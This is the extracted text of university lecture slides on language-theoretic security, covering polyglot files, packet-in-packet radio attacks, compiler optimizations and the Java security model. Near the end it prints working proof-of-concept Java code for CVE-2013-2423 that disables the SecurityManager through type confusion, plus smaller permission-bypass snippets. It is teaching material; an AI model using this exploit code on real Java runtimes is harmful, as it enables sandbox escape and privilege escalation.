language security - secenv · ange albertini, somefile.{pdf|zip|jpg} binary polyglots example –...

Language Security(incl. Language Theoretical Security)

Cyber Security

Adrian Dabrowski

What is a “language”?

Software Engineer:

– Programming Language

Computer Scientist:

– Formal Language

– Grammar, Symbols, ...

Transmission Engineer:

– Symbols

– Modulation, Encoding

Network Engineer:

– Protocol

What is a “language”?

Software Engineer:

– Programming Language

Computer Scientist:

– Formal Language

– Grammar, Symbols, ...

Transmission Engineer:

– Symbols

– Modulation, Encoding

Network Engineer:

– Protocol

Language Architecture

Compiler

File format = data format

= protocol specification

= language

File = transmission

= data stream

= packet(s)

Postel's Law (Robustness Principle)

“Be conservative in what you send, be liberal in what you accept”

Protocols are implemented by different vendors, with slightly differences (for various reasons).

Senders speaks different dialects of a protocol → still understood by receiver

Made the Internet work in the early days.

6

Input path

e.g.RecognitionDecodingLexing ParsingComputation

7

Input path

8

Input pathe.g. ●Synchronizer●Layered Data●Compressed Data●Error Correction●Container Formats

9

Input path

e.g. Format Dissector

10

Input path

11

Your input data format is a language.It is processed on a “machine”.

12

Polyglot

13

Polyglot

14

Error Correction

● Data transmission

● Digital Radio Broadcast (DAB), Digital Video Broadcast (DVB-T, DVB-S, DVB-C)

● Phone Networks (GSM, UMTS, LTE, Tetra)

● Storage

● Tapes, HDD, Arrays, Flash, Cloud Storage, Server RAM

● Barcodes

15

Packet in Packet – via ECC

16

Packet in Packet – via ECC

17

Application: Barcodes

18

Polyglots

● Source code that is valid in multiple programming languages

● Simple one: (Perl+C)

#include <stdio.h>#define do main()do { printf("Hello World!\n");}

● More: http://www.nyx.net/~gthompso/poly/polyglot.htm

19

Binary Polyglots

● One file

● Valid as PDF ZIP JPEG simultaneously

● e.g. new editions of POC||GTFOAnge Albertini, http://code.google.com/p/corkami/#Binary_files

somefile.{pdf|zip|jpg}

Binary Polyglots Example

– JPEG• Magic Value at byte 0

• Comment fields/extensions possible

– PDF• PDF marker string anywhere within the first Kilobyte of the file

• Can embed binary data (e.g. Images, Fonts) but they do not have to be referenced

• Ignores anything after the EOF marker

– ZIP• Devloped for multi-diskette spanning archives

• Master Record (=File Marker) is written at the very end

Example: PDF+JPEG+ZIP

Binary Polyglot File

JPEG Header

Ignored ext hdr.

JPEG Data

PDF Header

unreferencedbinaryobject

PDF data

PDF TOCEOF marker

ZIP TOC, master rec.

Zipped files

Polyglot Malware

● Irritate Virus-Scanner, malware checker● Scan for wrong threat

set● Different software

handles same data differently (i.e., as different format)

● Backpack another payload functionality in a single file● Multiple supported

systems or infection vectors

● Multi-stage infection● Self-Extracting

Polyglot Malware Example

https://vallejo.cc/2015/06/07/batch-attach-and-patch-using-windbgs-local-kernel-debugger-to-execute-code-in-windows-kernel/



Protocols are implemented by different vendors, with slightly differences (for various reasons).

Senders speaks different dialects of a protocol → still understood by receiver


Protocols are Languages

Both have/are...

– Structure input

– Grammar (Implicit or Explicit)

– Fed to a machine that • Parses it

• Reacts according to it

Needs validation.

How to find out if the input does the right thing? (e.g. is not malicious)

Protocols are languages

What we learned in previous lectures:

1) Parse

2) Validate

3) Use

Problem: Protocols are often more powerful than most writers think.

Exploitation is often unexpected computation by specially crafted input.

← if you not doing it in one place, but everywhere where you use it, you have ad-hoc parsers and an implicit validator

Input recognition and validation

Computation has some unsolvable (undecideable) problems, about recognition (or running) of inputs (programs) – no general algorithm exists

input recognition == halting problem

– if your input is turing complete

– Answer is yes, no, maybe (i.e. test may never return)

– The more powerful an environment/language is, the easier it is to build “weird machines”

Undecideable

If your protocol is too powerful, validity is (in general): UNDECIDABLE

We will not repeat “Theoretische Informatik1” here, just highlight the Implications for security...

Language Hierarchy

Regular Languages

– “regular expressions”

– Finite state automata

– Simple nesting, delimiters

– Example: a[ab]+a | b[ab]+b• Delimiters, repetition, transitions

– Will fail on recursively nestedstructures ((([({…})])) XML,HTML

• Needs → context free languages

Language Hierarchy

Context-free languages

– Pushdown automata• FSM + stack

• Can now parse arbitrary depth of balanced parentheses ((([({…})]))

Language Hierarchy

What if you have a length field?

Context-sensitive languages

– Example: Some metadata is needed to interpret the rest of the data

– UNDECIDABLE

– Protocols with length fields are “weakly context-sensitive” (decidable)

Turing complete

Turing complete languages

= recursively enumerable

– Telling if input is a programthat produces a given result:UNDECIDEABLE

• (aka. Rice's Theorem, reduces to halting problem)

– Ex: telling if any given code is 'good' or 'malicious' without running it

Side note: Languages are everywhere

Network stacks: valid packets make a language

Servers: valid requests make a language

– e.g. SQL injection

Memory managers: heaps make a language

– Heap meta data exploits

– Running Turing complete programs on Intel CPU MMU and cache unit

Function call flow: valid stacks make a language

– Context sensitivity: what is data, what is metadata? (next week: Buffer overflows)

HTML5+CCS3 (w/o JS) is Turing complete

No more complex protocols!

Don't let the Turing beast endanger our safe computing future!– Meredith L. Patterson, Sergey: The Science of Insecurity

decidable

undecidable

More Information...

X.509 Common Names: ambiguous language– 20+ ways on faking a certificate (request)

"Exploiting the Forest with Trees", Len Sassaman, Meredith L. Patterson, BlackHat USA, August 2010

"The Halting Problems of Network Stack Insecurity", Len Sassaman, Meredith L. Patterson, Sergey Bratus, Anna Shubina

Security Applications of Formal Language Theory, Len Sassaman, Meredith L. Patterson, Sergey Bratus, Michael E. Locasto, Anna Shubina [Dartmouth Computer Science Technical Report TR2011-709], [published in IEEE Systems Journal, Volume 7, Issue 3, Sept. 2013]




Brings massive security implications today.

–Ambiguity is Insecurity

–Full recognition before processing

–Context-free or Regular (to be on the safe side)

Bad Protocol Design: SSL

– Parsing is a hard problem

– You should compartmentalize it• Isolation

• Special care, special security measures

• Sandbox?• Strict verification, where possible

– Sanity checks otherwise

Bad Protocols and bad parsers

Language Theoretic SecurityProblem „Shotgun“ Parser

„Full recognition before processing!“

Every Input is a program„weired machines“

Sanitation, checks, recognition

It is always the same (Ground-hog day) Parser are often implemented as state machines

Nginx parser is x*1000 lines long – can you infer the language from the code?

Heartbleed: SSL: simple Syntax, nested length fields

Have to match – never checked

Security Afterworks 39

Heartbleed – the fix


Solutions?

Nginx, shellshock, heartbleed, ASN parsing, GNU TLS Bug,… Alles LangSec Failures

Strict grammar for all inputsParser and finite automates generated from specification


Transmission Security

Or: More of A understands things differently than B

The Layer Model – An Illustration

Layer Model

Layers

– Encapsulate

– Protection

– “no need to worry about details” → Black box

Packets

– Senders and receivers are compatible (certified) devices, or impersonated as such

– Receiver reads what sender transmitted

• If corrupted (i.e. bad checksum), then receive nothing

• … or slightly damaged data

– Noise is handled by (lower) abstraction layers

Simplified Radio

Radio signalDecoder

Constant stream of data

Sync Detector

Demodulator

Start of packet signal

802.15.4 Zigbee Packet-in-Packet

Source: Travis Goodspeed et al. “Packets in Packets: Orson Welles' In-Band Signaling Attacks for Modern Radios”, Usenix Woot 2011

Orson Welles et al. “The War of the Worlds”, Radio Drama, 1938, 62 Minutes

Packet in Packet

Interference

StartIdle

Packet in Packet

Packet in Packet

Interference Start of packet detected here

Limitations

Probabilistic Attack

– Only a fraction of packets get destroyed by interference at the right place

– Typically, failed packets-in-packets will be ignored by victims (addressed to someone else)

Pro:

– Attacker does not have to sit on the radio network (e.g. some other client downloads data from the internet)

802.11 WiFi

Works also on WiFi

– More complex: WiFi supports different speeds and symbols, but possible & demonstrated

– Sender does not have to sit on the local wireless lan

Example Scenario: “Beacon in Packet”

– Also received and processed by nearby clients not connected to the AP

– In the past, a number of bugs was found on how to crash or deassociate machines with malformed beacons (Win,Linux,Mac)

– Victim 1 sits on public (unencrypted) WiFi, downloads large file which includes “beacon in Packets”

– Victim 2 sits nearby on his encrypted WiFi, radio layer detects and processes beacon-in-Packets

802.11 WiFi

Scenario 2:

– De-association attack

– Attacker has to know the MAC• Some protocols leak this information

(e.g. IPv6 autoconfiguration)

Compiler & Programming Languages

Language Security:Do you trust your compiler?

In the past, compilers have been optimized and proven for functional equivalence

Functional equivalence != security equivalence

Compilers mangle your code to a degree it is unrecognizable

Code properties affected:

– Security

– Constant time

Compiler Optimizations are not your friend

Some problematic optimizations● Dead storage elimination

● “Write once, read never” operations are removed● e.g., destroying of memory contents

● Inline functions● Happens with smaller functions, used in a small number

of places● Stack frames merge, exposing private variables to other

functions● Alignment on stack

● Reduces stack entropy

57

Dead Storage Elimination

58

Examples● Linux Kernel, Bind, ... compiles with -fno-delete-null-pointer-checks● Operations with null pointers are “undefined behavior” (UB) by C-

Standard.● Compilers use UB to optimize (e.g., gcc 4.9+ treats null-pointer

checks as static value/dead code)

void someFunc(struct MyStruct *s) { if (s != NULL) { cout << s->someField << endl; delete s; } }

59

Examples

● Compiler discards error-check● S was already used,

so it must be valid (i.e., non-NULL)

struct foo *s = ...;

int x = s->f;

if (!s) return ERROR;

... use s ...

Security Features of Languages

● Educating● Teaching programmers did not work

● Static Analysis● Incomplete

● Dynamic Analysis● Incomplete

● Verification● Does not scale (state explosion)

Example: JAVA

● Exceptions● Isolation of Errors

● No pointers, dynamic size checking on machine level

● Garbage Collector● In an multi-threaded environment, execution is

non-deterministic – who will clean up buffers?● Sand-boxing (e.g., Applets)

● Has limits● Runtime safety costs performance

Example RUST

Possible for low level system programming

by Mozilla

Static memory safety

– Ownership concept

– Borrowing• Shared borrow• Mutable borrow

– Complex type System

Example Checked C

By Microsoft

– Checked Pointers – buffer safety• “ptr”

– No bounds check, no arithmetics

• “Array-ptr”• “span”

– Dynamic checking (performance hit)

3/22/18

Language Security: JAVA• Introduction

• Java Security Concepts

• Common Attack Techniques

• Walkthrough of a Java vulnerability

3/22/18

Introduction• Java: Developed by Sun Microsystems in the early 1990s• Designed to be platform-independent• Compiled to bytecode that runs on a Virtual Machine (VM)

• Desiged with security in mind - especially for mobile code– what does it mean that “Java is secure"?

Java Security Concepts• Strong data typing

– Compiler enforces that every operation is only applied to values of a type compatible to that operation

– Robin Milner provided the following slogan to describe type safety: "Well-typed programs never go wrong."

3/22/18

Java Security Concepts• Automatic Memory Management

– Garbage Collection takes care of disposing unused objects– no memory leaks– no access to memory after it is freed

– Memory bound violations are caught – (i.e., ArrayIndexOutOfBoundsException)

Internet Security 1 3/22/18

Java Security Concepts• Sandboxing

– Untrusted code is not allowed to perform security critical tasks

– Especially web applets have to be safeguarded


Java Language Security ConstructsMemory is protected...• Programs cannot access arbitrary memory locations

– no pointers• Cannot use a variable before initialization

– could be used to snoop on private data of a freed class instance• Array bounds must be checked on all array accesses

– no buffer overflows!


Java Language Security ConstructsClasses are protected...• Access methods are strictly adhered to

– private,protected,default(package),...• Entities declared final cannot be changed

– cannot change value of final variable– cannot override final method– cannot subclass final class

• Objects cannot be arbitrarily casted into other objects


How is this enforced?• Cannot trust compiler

– a malicious compiler could break these rules– we want to enforce these rules on untrusted code (applets…)

• Bytecode verifier– when loading (linking) code in virtual machine, check it– check bytecode is well formed– check properties (simple theorem prover)

– do not forge pointers, branch to valid locations, access restrictions, …

• Some properties cannot be checked statically– is a type cast valid? x=(MyClass) vector.get(i)– array index out of bounds?– bytecode verifier inserts a runtime check


Java Application Security• IF the Java VM successfully enforces the rules of the Java language...• ...We can build a security model for applications/applets on top of it

• The Java APIs provide one such model


Code Source• Classes are trusted (and given permissions) based on where they come

from– URL, certificate (digital signature), …

• System classes (loaded from classpath on disk) have all permissions• Applets (loaded by browser from untrusted website) have almost no

permissions• Applications can have more complex use-cases

– application composed of different classes from different sources– application-specific permissions

3/22/18

Java Security ArchitectureJava Security Architecture Components

• Protection Domain

• Class Loader

• Security Manager

• Access Controller


Protection Domain• ProtectionDomain = Code sources + Permissions

• Standard permissions:– FilePermission("/etc/-,"read")– SocketPermission( "localhost:1024-", "accept,listen")– Create a ClassLoader: RuntimePermission("createClassLoader")– AllPermissions

• Application-specific permissions:– example: read/write access to a certain table in my database


Class Loader• Loads class definitions from files or from a remote host

– URLClassLoader– custom class loaders inherit from ClassLoader

– load a class from a DB? load it over FTP?

• Checks if definitions are valid (0xCAFEBABE)

• Invokes the Bytecode Verifier

• Assigns a ProtectionDomain to classes it loads– can grant arbitrary privileges!


Security Manager• Responsible for enforcing a given security policy

• Implemented as a Java class

• Every “dangerous” operation first calls a check routine of the Security Manager


Security Manager• Every security-relevant method starts with a check• Example (Oracle Java 7u21):

public boolean mkdir() { SecurityManager security = System.getSecurityManager(); if (security != null) { security.checkWrite(path); } return fs.createDirectory(this); }


Security Manager• Provides sandboxing of Java applets


Access Controller• Default Security Manager delegates decisions to the AccessController

• Policies for the access controller can be specified in a policy file• How does the access controller decide which class is responsible for a

certain action?– class -> ProtectionDomain -> Permissions

public checkWrite() { FilePermission perm = new FilePermission(path, “write”); AccessController.checkPermission(perm);}


Example Policy Filekeystore "file:///[PATH]/keystore/ca", "xxx";grant signedBy "[USER] " { permission java.io.FilePermission "<>", "write"; permission java.net.SocketPermission "1.2.3.4:8000", "connect, accept, listen, resolve";};


AccessController

java.lang.Thread.run

sun.applet.AppletPanel.run

HelloWorldApplet.init

java.io.File.File

...

AccessController.checkPermission

Stack

System Domain

somehost.com Domain

System Domain

• All classes on stack need to have the required permission– Otherwise, not permitted!


AccessController• This may not be the required semantics• Example:

– an applet may be allowed to play music– music playing is implemented in trusted classes– to play music, need to write to a device (file)

• Perform an action on behalf of untrusted classes• AccessController.doPrivileged

– perform an action with the privilege of the calling class


AccessController

java.lang.Thread.run

sun.applet.AppletPanel.run

HelloWorldApplet.init

java.io.File.File

...

AccessController.checkPermission

playMusic

AccessController.doPrivileged

...

Only verify permissionsup to the class that called doPrivileged

playMusic has temporarily granted these classes permission


Serialization API• Allows saving objects to file/network/etc, and loading them back

• Is an exception to the Java Language rules:– the serialization API can read private fields of a class (to

serialize it)– the serialization API can write to private fields of a class (to

deserialize it)


Serialization API• Only allowed if class implements java.io.Serializable

interface• Making a class serializable has security implications• Can read an object's private data.

– just serialize it to somewhere (file, network, string)• Can create objects with private attributes set to arbitrary values

– just craft the serialized representation of an object with the required fields

– then deserialize it


Reflection API• The reflection API can be used to access private fields of any class

– totally breaks the security model• Requires java.lang.reflect.ReflectPermission(

– "suppressAccessChecks")• Never grant this permission to classes that are not 100% trusted

– completely breaks Java class security model


Attack Techniques


Attack Techniques• Several different classes of attacks

– attacks that exploit bugs in the VM– might compromise the whole platform when successful– implementation specific

– attacks against the system classes– compromise the whole Java platform– can even attack the underlying system through trusted classes

– attacks against user code– compromise the user application only– less risk for the underlying system but still problematic


Attack Techniques• The Java VM is a complex (C++?) application• Takes Java programs as its input

– (and their input)• Does complex processing of this input

– byte verification, emulation,...• Susceptible to the usual security problems!

– buffer overflows, etc...

• Not our concern in this lecture


Type Confusion Attack• Java enforces that every operation is only applied to objects of a

type the operation was defined on• Additionally, every casting operation has to be done in an implicit

way• During the casting process, strict rules are enforced

– casting is only allowed between compatible classes, interfaces or collections

-> Java is type safe

• Why is Type Safety that important?

• Assume the following is possible

public class Original {private boolean initialized;private Security sec;

}public class fakeOriginal {

public boolean initialized;public Security sec;

}

fakeOriginal = cast2fakeOriginal(original);fakeOriginal.initialized = true;fakeOriginal.sec = new Security(MODE_UNRESTRICTED);


Type Confusion Attack


Type Confusion Attack

• The code line in red effectively breaks type safety and allows altering private fields of a class

• This attack, if successful, breaks the security of the whole Java system (Privilege Escalation Attack)

• Type Safety is checked mostly through the Bytecode Verifier– small flaws in the verifier can break the system


Class Spoofing• Attack against the class loader

• The Class Loader should– load every class definition at most once– make sure that there exists only one unique class file for a given class

name

• There may exist more than one class loader in a given VM whose name spaces may overlap– the name spaces have to be separated carefully

• Idea: Trick the VM into thinking a class is defined by another class loader than it really is

Class Loader CL1: Class Loader CL2: public Spoofed { public Spoofed {

public Object var; public MyArbitraryClass var; } }

Spoofed sp = new Spoofed(); sp.var = ??

• This attack can be used to cast any Object to MyArbitraryClass– Type Confusion Attack


Class Spoofing


Attacking the Verifier• The Bytecode Verifier is the most important check against type safety

breaking byte code instructions and thus a rewarding target

• Breaking the data flow analysis allows inserting– arbitrary casts (type confusion attacks)– illegal instructions (breaks the VM)


Privilege Escalation• Common attack scheme that has been used by applets to

escape the sandbox (IE, Firefox, Safari,..)

• Idea: Use a type confusion attack to change critical fields of a security relevant class– Security Manager: grant more permissions to the malicious class– Class Loader: load and run another class with extensive rights

• Alternative: Use a bug in a system class that runs with privileged rights


JIT Bugs

• When Java programs are compiled to native code, the execution speed greatly improves

• Downside: security checks are reduced too– Example: buffer overflows

• Example: Microsoft JVM had a long history of applets crashing when JIT enabled


Attacks Against Java Classes• Attacks we discussed until now targeted VM implementation

bugs, the following attacks exploit Java programming mistakes

• In the Java Security Model, system classes are inherently trusted

• Even small mistakes in those classes pose a huge threat to the security model– they are obvious targets of security related attacks

• Of course, user classes should be written as secure as possible too!


Inappropriate Scope• Java inheritance model is very powerful

– provides high flexibility– downsize: complex security model needed

• Problem: Many classes do not properly limit access to their classes, methods and attributes

• For user classes this could be problematic, for system classes this an almost always critical issue– Method overwriting attacks– Protected fields can be overwritten


Inappropriate Scope• Java scope modifiers:

• Pitfall: “Protected” is less protected than no specifier !!

Specifier Class Package Subclass World

private

(default)

protected

public


Inappropriate Scope class A {

protected int secret;

}

class Evil extends A {

public int getSecret() { return secret; };

}


Inappropriate Scope class SecureWrite {

protected void realWrite() { ... };

public void write() {

if (checkPermission())

realWrite();

}

}

class EvilWrite extends SecureWrite {

public void write() { realWrite(); };

}


Inappropriate Scope

• Despite their simplicity, those attacks actually worked (and still might... )– even on highly security relevant classes/methods

• Known issues were:– java.lang.object: hashCode, equals, clone– java.lang.ClassLoader: loadClass, defineClass, resolveClass– java.lang.SecurityManager: implementation specific methods


Walkthrough of a real Java Exploit

Walkthrough of a Java ExploitCVE-2013-2423Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 17 and earlier, and OpenJDK 7, allows remote attackers to affect integrity via unknown vectors related to HotSpot. NOTE: the previous information is from the April 2013 CPU. Oracle has not commented on claims from the original researcher that this vulnerability allows remote attackers to bypass permission checks by the MethodHandles method and modify arbitrary public final fields using reflection and type confusion, as demonstrated using integer and double fields to disable the security manager.


Walkthrough of a Java Exploit• Disclosed in mid-April, 2013 – probably still unpatched on many systems• This is a pure Java exploit (no native code)

– portable• Proof-of-concept exploit available at:http://weblog.ikvm.net/CommentView.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0

Exploit Background• Oracle Java 7u17• Bug: any code can overwrite public final fields• Idea: type confusion

• change Double.TYPE to Integer.TYPE• copy field from one object to another via reflection• since TYPE is patched, not 4, but 8 bytes are copied

Exploit Codeclass Union1 { int field1; Object field2;}

class Union2 { int field1; SystemAccessClass field2;}

class SystemAccessClass { Object f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12, f13,f14,f15,f16,f17,f18,f19,f20,f21,f22,f23, f24,f25,f26,f27,f28,f29,f30;}

Exploit Codestatic void disableSecurityManager() { MethodHandle mh1, mh2; mh1 = lookup().findStaticSetter(Double.class, "TYPE", Class.class); mh2 = lookup().findStaticSetter(Integer.class, "TYPE", Class.class); Field u1fld1 = Union1.class.getDeclaredField("field1"); Field u2fld1 = Union2.class.getDeclaredField("field1"); Class classInt = int.class; Class classDouble = double.class; mh1.invokeExact(int.class); mh2.invokeExact((Class)null); Union1 u1 = new Union1(); u1.field2 = System.class; Union2 u2 = new Union2(); u2fld1.set(u2, u1fld1.get(u1)); mh1.invokeExact(classDouble); mh2.invokeExact(classInt); if (u2.field2.f29 == System.getSecurityManager()) { u2.field2.f29 = null; }}

reflection stuff

overwrite Double.TYPE with Integer.TYPE

u1.field2 now references System.class

reflection will copy not only u1.field1, but also u1.field2reset Double.TYPE and Integer.TYPE

look for SecurityManager and overwrite it


Summary• JAVA

● We looked at a different kind of security issues● While the topics presented were Java specific, the same underlying

principles are similar in other languages● Language security often overlooked even by “experts”

• Compiler Optimizations● Functionally Equivalent != Security Equivalent

• Transmission Security● Packet in Packet● Length field

• Languages == Protocol● If too powerful, validity is undecidable

language security - secenv · ange albertini, somefile.{pdf|zip|jpg} binary polyglots example –...

Documents